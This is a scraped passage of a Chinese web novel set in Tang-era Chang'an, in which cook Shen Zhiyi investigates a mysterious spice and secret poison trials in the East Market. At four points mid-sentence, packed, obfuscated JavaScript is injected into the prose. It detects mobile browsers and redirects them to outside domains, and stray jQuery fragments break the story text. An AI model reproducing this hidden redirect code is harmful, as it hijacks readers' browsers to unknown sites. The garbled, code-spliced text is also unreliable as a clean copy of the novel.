他依旧是一身素色襕袍，外罩一件灰鼠皮斗篷，神色平静，眉宇间却带着一丝不易察觉的倦色。 他没有带随从，独自一人踏着薄雪走进店来。 “苏录事？” 沈知意连忙迎上前，心中诧异又隐隐有些不安。 苏晏清平日极少主动来店，且多是公务路过，此番独自前来，又值此敏感时刻…… “沈小娘子。” 苏晏清微微颔首，目光在略显冷清的店内扫过，语气一如既往的温和。 “今日雪大，路过讨碗热汤驱驱寒。” “您快请坐。” 沈知意连忙引他至角落清净处坐下，让邹娘子盛来一碗滚热的菌菇汤。 “苏录事公务繁忙，也要注意身体。” 苏晏清接过汤碗，捧在手中暖着，并未立刻饮用。 他抬眸看向沈知意，目光沉静，却仿佛能穿透人心：“近日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517558|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西市不安宁，小娘子店内生意可还顺遂？” 沈知意心中猛地一紧，面上却努力维持平静：“托您的福，还算过得去。只是……肉食难得，只好多做些素馔勉强维持。” 苏晏清点点头，似是不经意道：“东市那边出了些事，想必小娘子也听说了。市署协同京兆府正在严查，牵连甚广，近日西市巡査也会加紧些。小娘子安心做生意便是，若遇宵小滋扰，或有何不同寻常之事，可随时来寻我。” 不同寻常之事？ 沈知意指尖微微一颤。 苏晏清这话，是例行公事的提醒，还是意有所指？他是否也听到了什么风声？甚至对东市之事有所察觉？ 她强压下心中的惊涛骇浪，垂眸道：“多谢苏录事关怀。民女定当谨守本分，安心经营。” 苏晏清深深看了她一眼，不再多言，低头慢慢喝着汤。 一时间，店内只剩下他轻微啜饮汤羹的声音和窗外簌簌的落雪声，气氛安静得有些微妙。 一碗汤尽，苏晏清放下碗，从袖中取出一小串用红绳系着的开元通宝，置于桌上：“汤钱。” 沈知意连忙道：“一碗粗汤，不值什么，苏录事……” “不必。” 苏晏清抬手止住她的话，站起身，目光再次落在她脸上，语气温和却带着一种不容置疑的力量。 “世道纷杂，保全自身为上。有些东西，不知比知好，不碰比碰好。小娘子是聪明人，当明白苏某之意。” 说罢，他微微颔首，转身便缓步出了店门，登上那辆青篷小车，很快便消失在茫茫雪幕之中。 沈知意站在原地，望着桌上那串仿佛还带着他体温的铜钱，心中却掀起了惊涛骇浪。 苏晏清最后那几句话，绝非无的放矢。 “有些东西，不知比知好，不碰比碰好……” 他指的是什么？是东市的命案？是那诡异的“恶疾”？还是她怀中那包来历不明，可能与命案有关的神秘香料“卡瓦辛”？ 他是在警告她不要再深究东市之事，明哲保身？还是在暗示她，她手中可能握有某种关键之物，必须极其谨慎，否则会引火烧身？ 无数个念头在她脑中疯狂碰撞，让她心乱如麻。 苏晏清的突然到访和那几句意味深长的话，非但没能让她安心，反而像是一块巨石投入本就波澜暗涌的湖面，激起了更深更令人恐惧的漩涡。 她下意识地按住怀中那小小的油纸包，只觉得那原本微凉的粉末，此刻却仿佛变得滚烫，灼烧着她的肌肤，也灼烧着她的心神。 35. 第35章 接下来的两日，沈记食肆在一种诡异而压抑的平静中度过。 街面上关于东市“恶疾”的流言愈传愈烈，人心惶惶，连带着西市的生意都冷清了不少。 福伯每日采买归来，带回的消息也愈发令人心惊——不仅是肉食，连蔬菜、米面的价格都开始波动，一些相熟的贩子言语间也透着谨慎和恐惧，仿佛大祸临头。 张胖子那边却异常安静，他的蒸饼铺依旧门可罗雀，但他却不再来寻衅，只是偶尔站在店门口，阴恻恻地朝沈记这边望上一眼，那眼神中的幸灾乐祸几乎要溢出来。 这种暴风雨前的宁静，反而更令人窒息。 沈知意强迫自己将所有精力投入到食肆的经营中。 “五香素鹅”和“素雪凝脂”依旧是她维持生计的支柱，但她制作时对“卡瓦辛”的使用已谨慎到了极致，每次只取微乎其微的一丁点，混合在大量的常见香料中，生怕留下任何蛛丝马迹。 然而，即便她再如何小心，内心的恐惧与疑虑却与日俱增。 苏晏清的警告言犹在耳，她无法装作什么都不知道。那几具发黑的尸体，那夜老鼠惊恐的嘶叫，如同噩梦般萦绕不去。 她必须弄清楚！ 至少，要弄清楚这“卡瓦辛”到底是怎么回事！ 否则，她永远无法安心。 这日打烊后，她将心一横，取出一小撮“卡瓦辛”粉末，用油纸仔细包好，又找来一只昨日买来还未来得及宰杀炖汤的老母鸡，将其双脚捆住，放在后院角落。 她将那一小撮粉末撒在距离母鸡约莫三尺远的地上。 那母鸡起初只是咯咯叫着，有些不安。 但当夜风将一丝极其微弱的香料气味吹送过去时，它猛地僵住了，随即发出一声极其凄厉惊恐的尖鸣，拼命扑腾着翅膀，疯狂地挣扎着想要远离那气味来源，与那夜老鼠的反应如出一辙！ 沈知意立刻将粉末扫净，又将母鸡抱回笼中。 过了许久，那母鸡才渐渐安静下来，缩在角落瑟瑟发抖，连食槽里的谷粒都不敢去啄。 实验结果让她手脚冰凉，心中那可怕的猜想几乎得到了证实——这“卡瓦辛”绝非寻常香料。 它对活物有着极其强烈的驱避甚至恐吓作用。其特性极可能与东市那诡异的“恶疾”或毒杀有关。 艾山留下它，或许真不是在帮她，而是在警示她。也许这本身就是从东市流出来的危险之物。 就在她心乱如麻之际，店门外再次传来了轻轻的叩门声。 已是深夜，会是谁？ 沈知意心中警铃大作，示意福伯和邹娘子带着阿宝躲到里间，自己则握紧了灶台边的火钳，深吸一口气，走到门边，沉声问：“谁？” “沈小娘子，是我。” 门外传来一个压低的略显熟悉的声音。 是苏晏清身边那个青衣小童。 沈知意心中一凛，犹豫片刻，还是拔开门栓，将门拉开一条缝隙。 只见那小童独自站在风雪中，身上落了一层薄雪，神色有些紧张。 “小娘子安好。” 小童飞快地行了一礼，递过一个沉甸甸的布包。 “公子命我将此物交予小娘子。公子说……近日西市恐不太平，让小娘子务必谨慎门户，若有异常，即刻吹响此哨，巡街武侯片刻即至。” 沈知意接过布包，入手沉重冰凉，打开一看，里面竟是一枚打造精巧的铜哨，以及一小锭约莫二两的银子。 “这……” 沈知意愕然。 小童低声道：“公子还让带句话……‘故人之物，慎用之；非常之时，行非常之法。但切记，保全自身为上。’” 说完，他不等沈知意回应， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16522498|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便匆匆一礼，转身飞快地消失在夜色中。 沈知意站在门口，握着那枚冰冷的铜哨和微凉的银锭，心中掀起了滔天巨浪。 苏晏清…他又派人来了…不仅送来了防身的铜哨和应急的银钱，还带来了那句更加晦涩难懂的话… “故人之物，慎用之……” 这“故人之物”，指的是艾山留下的“卡瓦辛”吗？ 苏晏清果然知道！ 他让她慎用，是警告她此物危险，还是暗示她可以在关键时刻用作反击？ “非常之时，行非常之法……” 这是在告诉她，眼下已到了危急关头，可以不必拘泥常理？他是在鼓励她做点什么？ “保全自身为上……” 这又是最根本的告诫。 苏晏清的态度，似乎变得微妙起来。 他不再仅仅是警告她远离是非，反而像是在有限度地支持她，甚至暗示她可以主动做些什么来破局？ 为什么？ 是因为东市的事态已经严重到连他也无法坐视的地步了吗？ 还是他发现了什么更可怕的真相？ 沈知意的心狂跳起来，血液中仿佛有什么东西被点燃了。 恐惧依旧存在，但一股被压抑已久的不甘坐以待毙的狠劲，也悄然冒了出来。 虎爷、张胖子、那几具发黑的尸体、这诡异的香料…… 他们把她逼到了绝境！ 苏晏清的话，像是一道微光照亮了黑暗中的一条险径。 她紧紧攥住那枚铜哨和银锭，目光变得锐利起来。 不能再等了！必须主动出击！至少要弄清楚对方到底在做什么！ 这“卡瓦辛”，或许就是关键。 她转身回到店内，目光落在角落里那罐香料上。 是福是祸，总要试过才知道！ 36. 第36章 她将福伯和邹娘子叫到跟前，神色是从未有过的凝重与决绝。 “福伯，邹娘子，东市之事，恐非寻常。我疑心与那香料有关，必须去探个究竟。今夜我需外出一趟，你们紧闭门户，无论听到任何动静，绝不可开门！若天明我未归……” 她顿了顿，将苏晏清给的铜哨塞到福伯手中，“便吹响此哨，寻武侯，去找苏录事！” 福伯和邹娘子吓得脸色惨白，几乎要跪下来。 “六娘！使不得啊！那、那是虎狼之地！你去不得啊！” 福伯老泪纵横，声音发颤。 “六娘！太危险了！咱们、咱们报官吧！” 邹娘子紧紧搂着阿宝，浑身发抖。 “官府若真能管，早已管了！”沈知意语气斩钉截铁，“此事我已决意，不必再劝！记住我的话，紧闭门户，等我回来！” 她不再多言，转身走入里间，换上一身深色粗布衣裙，用布巾包住头发，又将那包“卡瓦辛”粉末和一小包常用的孜然粉分别用油纸仔细包好，揣入怀中。 最后，她将那枚铜哨挂在颈间，冰凉的金属贴着她的肌肤，带来一丝孤注一掷的寒意。 子时将近，万籁俱寂，只有风声凄厉。 沈知意悄无声息地打开后门，身影融入浓重的夜色与风雪之中。 东市与西市虽毗邻，但夜间坊门紧闭，且有武侯巡夜，寻常人根本无法通行。 但沈知意知道一条极少人知的隐秘路径——那是儿时顽皮，跟随邻家孩童钻过的连接两市排水渠的一处破损栅栏。 多年过去，不知是否还在。 她凭着记忆，在黑暗中深一脚浅一脚地摸索，寒风卷着雪粒抽打在脸上，冰冷刺骨。 心脏在胸腔里狂跳，恐惧与决心交织，让她手脚冰凉却又异常清醒。 终于，在一处荒废的坊墙下，她找到了那个被杂草和积雪半掩的破口。 铁栅栏果然锈蚀断裂了一根，刚好可容一人侧身钻过。 她深吸一口气，压下心中的悸动，小心翼翼地钻了过去。 眼前豁然开朗，已是东市地界。 与西市的喧嚣杂乱不同，夜间的东市死一般寂静。 高大的邸店、货栈在夜色中投下幢幢黑影，如同蛰伏的巨兽。 空气中弥漫着一股淡淡的不同于西市的气味——是皮革、药材、牲口粪便混合的略显沉闷的气息。 牲口市在东市西北角。 沈知意屏住呼吸，借着建筑物和货堆的阴影，小心翼翼地朝着那个方向摸去。 越靠近牲口市，空气中的异味越发浓重。 那并非单纯的臭味，而是一种难以形容的带着一丝腥甜和腐败的怪异气息，令人作呕。 四周愈发寂静，连巡夜武侯的灯笼火光都未见，仿佛这片区域已被彻底遗弃。 她的心提到了嗓子眼，手心全是冷汗。 终于，她摸到了牲口市的边缘。 巨大的牲口棚栏在黑暗中如同沉默的墓碑，棚区内一片狼藉，散落着草料、杂物，甚至还有一些未来得及清理的可疑的深色污渍。 她躲在一个倾倒的料车后面，极力平复着狂跳的心脏，仔细观察。 棚区深处，似乎有微弱的火光晃动，还有人声隐约传来。 果然有人！ 她咬紧牙关，借着棚栏和杂物的掩护，如同狸猫般悄无声息地向前潜行。 每靠近一步，那股怪异的腥甜气味就更浓一分，几乎令人窒息。 终于，她看清了。 在最大的一个牲口棚内，竟点着几盏气死风灯！ 几个黑影正围在一起，似乎在忙碌着什么。 地上躺着几具模糊的显然是牲口的庞大黑影，一动不动。 棚壁和地面上，溅满了大片大片的深色污渍，在灯光下泛着幽暗光泽。 而那股令人作呕的腥甜恶臭，正是从那里散发出来的。 沈知意胃里一阵翻腾，几乎要呕吐出来。 她死死捂住嘴，强迫自己冷静。 她看到那几个黑影从地上躺着的牲口身上割取着什么，放入旁边的木桶中，动作麻利。 他们低声交谈着，话语随风断断续续飘来。 “……这批不行……毒性太烈……都烂了……” “……虎爷催得紧……西域那边等不了……” “……得换个方子……那‘鬼哭草’汁或许……” “……小心点……沾上一点……就得陪葬……” 鬼哭草？毒性？西域？ 沈知意听得心惊肉跳，浑身发冷。 他们果然在制毒！用这些牲口试验毒药！那死去的羊倌和羊贩子…… 就在她心神剧震之际，怀中那包“卡瓦辛”粉末，忽然毫无征兆地微微发热起来。 沈知意猛地一惊，下意识地伸手入怀握住那油纸包。怀中的粉末竟真的在散发出一股微弱的温热。 她敏锐地察觉到空气中那股怪异的腥甜毒味，似乎与“卡瓦辛”散发出的香气相遇后，产生了一种仿佛相互排斥抵消的微妙变化。 仿佛……这“卡瓦辛”的香气，能中和或者说……克制那股毒味？！ 艾山！艾山留下这香料，真正的用意是这个？！它不是毒药，而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16522499|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解毒或者避毒之物？！ 就在这时，棚内一个黑影似乎完成了手上的活计，直起身，朝她藏身的方向望了一眼。 沈知意吓得魂飞魄散，猛地缩回头，屏住呼吸，一动不敢动。 那黑影似乎并未发现异常，转身对同伴道：“……差不多了，收拾干净，老规矩，埋深点……明日再弄一批来试……” 几人开始收拾工具，泼洒着什么液体掩盖气味，似乎准备离开。 沈知意知道不能再待下去了。 她必须立刻离开。 她小心翼翼地往后挪动，却不小心脚下踩到了一根枯枝，发出“咔嚓”一声轻响。 “谁？！” 棚内立刻传来一声警惕的低喝，灯光猛地朝她这边扫来。 沈知意心脏几乎停止跳动，她想也不想，转身就跑！ 将怀中那包常用的孜然粉掏出，看也不看向后猛地一撒！ “噗——” 粉末扬起，带着浓郁的孜然香气弥漫开来。 “妈的！是孜然味！可能是野猫或者偷油鼠惊了！” 身后传来一声咒骂和松懈下来的语气。 “算了，快收拾完走人！这鬼地方晦气！” 沈知意不敢回头，拼尽全力沿着来路发足狂奔。 风声在耳边呼啸，心脏快要跳出胸腔，冰冷的空气割着喉咙，她却感觉不到丝毫疼痛，心里只有一个念头——跑！快跑！ 她跌跌撞撞地钻过那个栅栏破口，踉跄着冲回西市的地界，直到远远看见沈记食肆那一点微弱的灯火，才双腿一软瘫倒在地。 她扶着冰冷的墙壁，大口大口地喘着粗气，冰冷的空气吸入肺中，带来针扎般的刺痛，浑身都被冷汗湿透了。 棚区内那可怕的一幕，那诡异的毒味，那“卡瓦辛”异常的发热，还有那几句零碎却骇人听闻的对话……如同噩梦般在她脑中反复闪现。 虎爷他们竟然真的在东市牲口市用活牲口试验某种可怕的毒药！ 那死去的三个人，根本就是被灭口或是毒杀的！ 而艾山留下的“卡瓦辛”……极可能是克制那毒药的关键。 她颤抖着手，摸向怀中那包已然恢复冰凉的香料，心中充满了后怕、震惊，以及一丝绝处逢生明悟。 苏晏清，他定然早就知道。 他的警告，他的铜哨，他的银锭，他那句“非常之时，行非常之法”……都是在暗示她这一点。 她握紧了那包香料，目光投向沈记食肆那盏在寒风中摇曳的孤灯，眼中闪过一丝决绝的光芒。 不能再等了。必须立刻去找苏晏清！ 37. 第37章 沈知意猛地推开门，踉跄着冲进店内。 福伯和邹娘子正惶恐不安地守在前堂，见她浑身狼狈脸色惨白地回来，吓得魂飞魄散，连忙上前搀扶。 “六娘！你、你可算回来了！吓死老奴了！”福伯老泪纵横。 “六娘！你没事吧？外面……”邹娘子声音发颤，紧紧抓着她的胳膊。 “我没事……” 沈知意声音嘶哑，推开他们的手，目光却异常锐利。 “福伯，立刻备车！不，去雇一辆最快的青篷小车，现在！立刻！” “现、现在？”福伯愕然，“这深更半夜的……” “快去！”沈知意语气急促，不容置疑，“去光德坊苏录事府上！快！” 福伯见她神色决绝，不敢多问，连忙跌跌撞撞地跑出去寻车。邹娘子则慌忙去打热水给她擦脸。 沈知意快速用冷水拍了拍脸，强迫自己冷静下来。 她不能就这样空手狼狈地去见苏晏清。 深夜叩门，必须有合适的理由，更不能暴露自己夜探东市的冒险行径。 她目光扫过灶台，心中立刻有了计较。 “邹娘子，取些精白面、牛乳、酥油、蜂蜜来！快！” 虽不知她要做什么，邹娘子还是立刻照办。 沈知意挽起袖子，净手后，取来细罗筛过面粉，加入温热的牛乳和融化的酥油，快速揉成一个光滑油润的面团。又取少量面团，加入研磨细腻的杏仁粉和少许蜂蜜，揉成浅黄色的小面团。 她没有时间等待发酵，直接将原色面团擀成薄片，将黄色小面团搓成细条，卷入其中，再切成拇指大小的剂子，每个剂子顶端用刀尖快速划出十字花纹。 最后，将做好的生胚放入平底锅中，用极小的文火，加入少许酥油，慢慢煎烙。 很快，一股混合了奶香、油酥香和蜂蜜甜香的诱人气息便弥漫开来。 那小小的饼胚在锅中渐渐变得蓬松鼓起，表面烙出金黄酥脆的焦纹，顶端的十字花纹绽放开来，宛如一朵朵精致的金色小花。 这是她前世记忆里一种名为“金乳酥”的快手酥点，奶香浓郁，口感酥松，制作相对快捷，适合临时待客。 “快，用食盒装好！” 沈知意将烙好的金乳酥迅速铲出，叮嘱邹娘子。 这时，福伯也气喘吁吁地跑回来：“六、六娘，车雇好了，在、在后巷等着！” 沈知意接过食盒，又飞快地写了一张短笺，上书“新制点心，请苏录事品鉴”，折好塞入盒中。 她深吸一口气，对福伯和邹娘子道：“紧闭门户，等我回来。若天明未归，便吹哨寻苏录事！” 说完，她抱起食盒，毫不犹豫地转身再次投入寒冷的夜风中。 青篷小车在寂静无人的坊街上疾驰，车轮碾过积雪，发出吱嘎的声响。 沈知意紧紧抱着那盒犹带温热的金乳酥，心跳如擂鼓。 怀中的“卡瓦辛”粉末安静地贴着肌肤，冰凉一片，仿佛之前的异动只是她的幻觉。 光德坊很快到了。 苏府门庭寂静，黑漆大门紧闭，只有角门檐下悬着一盏昏暗的灯笼。 沈知意付了车钱，深吸一口气，上前叩响了角门上的铜环。 “谁啊？深更半夜的……” 门内传来老苍头带着睡意和不耐烦的声音。 “老丈请了，民女沈氏，西市沈记食肆店主，有急事求见苏录事。”沈知意尽量让声音保持平稳，“特制了点心，请苏录事品尝。” 门吱呀一声开了一条缝，老苍头睡眼惺忪地探出头，看到是她，愣了一下，又看到她手中的食盒，皱皱眉：“小娘子，这都什么时辰了？我家公子早已歇下……” “确有万分紧急之事，关乎西市安危，恳请老丈通传一声！”沈知意语气恳切却坚定，将食盒稍稍递前，“一点心意，不成敬意。” 老苍头犹豫了一下，或许是闻到了食盒中透出的诱人甜香，又或许是记得公子似乎对此女略有不同，终究还是接过了食盒：“你且在此等候，老奴去禀报一声，见与不见，全凭公子心意。” “多谢老丈！” 门再次关上。 沈知意独自站在寒冷的夜色中，时间仿佛变得无比漫长。寒风卷着雪沫打在她脸上，她却感觉不到冷，只觉得手心全是冷汗。 不知过了多久，角门再次打开。出来的却不是老苍头，而是那位青衣小童。 他穿戴整齐，显然并未睡下，见到沈知意，低声道：“沈小娘子，公子请你进去。” 沈知意心中一紧，连忙跟着小童入内。 苏府内一片寂静，只有廊下零星点着灯笼，在风中摇曳。小童引着她穿过庭院，径直来到书房外。 书房内灯火通明，苏晏清并未如老苍头所说已然安睡，而是穿着一身家常的素色道袍，外罩一件薄裘，正坐在书案后，手中拿着一卷书，似乎正在夜读。 案上，她带来的食盒已经打开，那碟金乳酥正放在一旁，散发着温热香甜的气息。 “民女沈氏，深夜叨扰，请苏录事恕罪。”沈知意上前，敛衽深深一礼。 苏晏清放下书卷，抬眸看她，目光平静无波，却仿佛能洞察一切：“小娘子深夜来访，所为何事？这‘金乳酥’……香气倒是别致。” 他的目光在她略显凌乱的发鬓和沾染了尘土的裙角上停留了一瞬。 沈知意心知瞒不过他，但依旧不能直言夜探之事。 她稳住心神，垂眸道：“回苏录事，民女近日研制新点，偶得此‘金乳酥’，想着苏录事往日照拂，特送来请您品鉴。另……另民女近日心中不安，东市流言汹汹，肉食断绝，小店经营维艰，更恐……更恐有更大祸事发生，心中惶恐，特来……特来请教苏录事，该如何自处？” 她将话题引向东市，语气带着恰到好处的惊慌与无助。 苏晏清静静听着，指尖轻轻敲了敲那碟金乳酥，并未去拿，而是淡淡道：“东市之事，京兆府与市署已在严查。流言止于智者，小娘子不必过于惊惶。安心经营便是。” 这话滴水不漏，完全是官面文章。 沈知意心中焦急，知道必须抛出些东西才能引他开口。 她犹豫片刻，似是下定决心， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16527967|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从怀中取出那个小小的油纸包，双手奉上，声音压得极低：“苏录事……民女日前偶得一种异域香料，气味独特，用于烹饪别有风味。只是……只是近日发现，此物……似乎对某些活物有奇异反应，民女心中害怕，不知此物……究竟是福是祸？还请苏录事……指点迷津。” 她终于将“卡瓦辛”呈到了苏晏清面前。 书房内瞬间安静下来，只有灯花偶尔爆开的轻微噼啪声。 苏晏清的目光落在那小小的油纸包上，眼神骤然变得深邃锐利。 他并未立刻去接，只是静静地看着，良久，才缓缓开口，声音低沉了几分：“此物……你从何得来？” 沈知意心脏狂跳，硬着头皮道：“是……是一位胡商朋友所赠，言是西域珍品，用于调味。” “胡商朋友？” 苏晏清唇角似是微不可察地动了一下，目光如电，直视沈知意，“小娘子，有些东西，知道得越多，越危险。你确定……想知道？” 这话语中的分量，让沈知意几乎喘不过气。 她迎上苏晏清的目光，咬牙道：“覆巢之下，焉有完卵。东市若真有大祸，西市岂能独善？民女只想求一条生路，望苏录事明示！” 苏晏清凝视她片刻，忽然伸手，取过了那个油纸包。 他并未打开，只是放在鼻尖极轻地嗅了一下，随即放下，眼神中闪过一丝极其复杂的情绪，似是了然，又似是凝重。 “此物名‘迦梵悉泥’非是寻常香料。” 他声音压得极低，却字字清晰，“乃西域雪山某种罕见毒草根茎所制，本身无毒，其性至阳至烈，香气独特，能克至阴至寒之毒，故……常为某些行走险地之人，用以防身避毒。” 克至阴至寒之毒？！ 沈知意脑中如同惊雷炸响！果然如此！艾山留下它，真的是为了对付东市那诡异的毒药！ “那、那东市……”她声音发颤。 苏晏清抬手止住她的话，目光扫向窗外沉沉的夜色，语气讳莫如深：“东市之水，比你想象的更深。有些事，非你我能左右。你能得此物，是机缘，也是劫数。慎用之，或可保一时平安；妄用之，必招杀身之祸。” 他顿了顿，目光再次落回沈知意脸上，意味深长道：“明日午时，市署会有公文张贴，关于东市疫病防治之事。你……或可留意。至于其他，好自为之。” 说罢，他拿起一块“金乳酥”，放入口中细细品尝，点了点头：“点心不错，酥香可口。夜已深，小娘子请回吧。” 这是送客了。 沈知意心中虽仍有万千疑问，却也知道不能再问。苏晏清已经透露了至关重要的信息，香料的名称、用途、以及明日市署的动向。 她强压下心中的惊涛骇浪，恭敬行礼：“多谢苏录事指点。民女告退。” 退出书房，冷风一吹，她才发觉自己后背已被冷汗彻底湿透。青衣小童默默引着她出了府门。 站在寂静的街道上，回味着苏晏清那番话，沈知意握紧了怀中再次变得冰凉的“迦梵悉泥”。 明日午时，市署公文……东市疫病防治…… 38. 第38章 从苏府归来，沈知意一夜未眠。 苏晏清的话语如同烙铁般印在她的脑海深处，“迦梵悉泥”、“克至阴至寒之毒”、“明日午时，市署公文”、“东市疫病防治”…… 每一个词都让她心惊肉跳，却又在无边的黑暗中隐隐勾勒出一条充满危险的路径。 艾山留下的香料，是破局的关键。 而苏晏清，显然知晓内情，甚至可能在暗中推动着什么。 他那句“非常之时，行非常之法”，更像是一种默许，甚至是一种期待，期待她这个看似微不足道的小厨娘，能利用这香料做些什么。 这个念头让她既恐惧又兴奋，手心冰凉却又隐隐发烫。 天光微亮，她便起身，仔细净手后，取出那罐“迦梵悉泥”，用最细的纱罗筛出极少量深红色的粉末，单独用一个小瓷瓶盛放。 剩余的香料则被她用油纸层层包裹，藏于灶台最隐秘的砖缝之中。 她不知道今日会发生什么，但直觉告诉她，这香料或许很快就能派上用场。 食肆照常开门，但气氛却比往日更加凝滞。 街面上关于东市“恶疾”、“传染”的流言愈演愈烈，甚至有人说亲眼见到有官差用白布裹着尸体抬出，说得有鼻子有眼，引得人心惶惶。 往日里还算热闹的西市，今日竟显得有些冷清，行人步履匆匆，面色惶然。 福伯采买归来，脸色更加难看：“六娘……不好了，市面上都在传，说那恶疾厉害得很，沾上就死！好些铺子都半掩着门了……连、连菜贩子都躲着人……” 邹娘子更是吓得六神无主，洗菜时手都在抖。 沈知意强迫自己镇定，一边揉着面，一边安抚道：“莫慌，流言止于智者。官府自有主张。” 心中却如擂鼓，紧盯着门外街道的动静，等待着午时的到来。 临近午时，街道上忽然传来一阵骚动。 只见几名市署的胥吏敲着铜锣，在西市各主要路口张贴告示，引得人群纷纷围拢过去。 “福伯！快去看看！”沈知意立刻道。 福伯连忙挤进人群，不多时便白着脸跑了回来，手里还拿着一张匆忙撕下的告示抄件。 “六、六娘！出、出大事了！” 他声音发颤，将抄件递过来。 “官、官府告示！说东市牲口市确、确发恶疾，人畜皆可染，症见高热、抽搐、体生黑斑……数日即毙！为防扩散，即日起，封锁东市相关区域，严查往来人等！凡近日去过东市牲口市者，需即刻报官查验！若有发热、体斑者，需立即隔离！另……另征召城中医者及善药膳者，协助研制避疫汤药……” 告示上的字句如同惊雷，一字字炸响在沈知意耳边。 这症状与那夜她偷听到的“毒性太烈”、“浑身发黑”完全吻合。 根本不是什么恶疾，就是那诡异的剧毒。 官府这是在用“疫病”之名掩盖真相，稳定民心，同时暗中征集能人寻找克制之法？！ 苏晏清暗示的“市署公文”，果然应验了。 而他特意提及“善药膳者”…… 一个大胆到近乎疯狂的念头瞬间击中了沈知意。 她猛地站起身，目光死死盯着那告示，心脏狂跳几乎要破胸而出。 “福伯！邹娘子！立刻准备！熬一大锅清水，将后院晾晒的干姜、紫苏、甘草、还有那包绿豆全都取来！” 她声音因激动而微微发颤，却带着一种破釜沉舟的决绝。 “六娘？你、你要做什么？”福伯和邹娘子都吓呆了。 “没时间解释了！照做！” 沈知意语气急促，不容置疑。 她快速净手，取来那个盛放着极少量“迦梵悉泥”粉末的小瓷瓶，紧紧攥在手心。 大锅清水很快烧沸。 沈知意将大量干姜片、紫苏叶、甘草段投入锅中，又倒入洗净的绿豆，大火熬煮。 很快，一股带着辛辣和甘草气息的药香便弥漫开来。 她站在锅边，目光紧盯着翻滚的汤汁，心中飞速盘算。 这锅汤底，用的是最寻常的驱寒解毒的方子，无功无过，即便无效，也绝无害处。 关键在于…那最后一点“迦梵悉泥”！ 她在赌。 赌这“迦梵悉泥”真的能克制那诡异毒素。 赌苏晏清的暗示是真的。 赌官府急需这破解之法。 赌她这步险棋，能为自己和这食肆搏出一线生机。 锅中的汤汁渐渐熬成浅褐色，药香浓郁。 午时已过，街道上因那告示而引发的恐慌和骚动愈发明显。 沈知意深吸一口气，目光扫过街面，看到一队市署胥吏正在沿街巡查，督促商户注意防疫。 就是现在！ 她猛地揭开锅盖，蒸汽扑面而来。 在福伯和邹娘子惊愕的目光中，她将那小瓷瓶中的深红色粉末，极其小心地均匀地撒入翻滚的汤汁中。 粉末遇水即溶，并未改变汤色，但那原本辛辣甘醇的药香气中，却瞬间融入了一丝难以忽视的带着异域风情的辛烈香气。 这香气与药香混合，形成一种令人精神一振的复杂气味。 “快！挂出新牌！” 沈知意厉声道，“上书：‘辟疫羹’，每碗五文，凭此汤可御瘴气，防恶疾！” “辟、辟疫羹？！” 福伯吓得腿都软了，“六娘！这、这可使不得啊！官府都没办法，咱们、咱们怎能……这可是杀头的罪过啊！” “照我说的做！”沈知意目光灼灼，语气斩钉截铁，“快！” 福伯和邹娘子被她从未有过的凌厉气势震慑，不敢再多言，战战兢兢地将牌子挂了出去。 牌子刚挂出，立刻吸引了街上惶恐不安的人群。 “辟疫羹？能防恶疾？” “沈记食肆？她家不是卖吃的吗？怎么还卖起药汤了？” “五文一碗？真的假的？” 人们围拢过来，议论纷纷，却无人敢第一个尝试。 毕竟“恶疾”凶名太盛，谁敢轻易服用这来历不明的汤羹？ 就在这时，那队巡查的市署胥吏走了过来。为首的小头目看到牌子，眉头一皱，上前喝道。 “沈小娘子！你这是做什么？官府严查疫病，岂容你在此售卖不明汤水，惑乱人心？！” 沈知意心中紧张到了极点，面上却强自镇定，上前福了一礼，朗声道： “官人明鉴！民女并非惑乱人心。此汤乃祖传避疫古方，以姜苏甘草绿豆为底，佐以西域辟瘴奇香熬制，性味平和，能驱邪扶正。值此非常之时，民女愿尽绵薄之力，助街坊抵御瘴气，绝非牟利惑众！” 她特意强调了“西域辟瘴奇香”几个字。 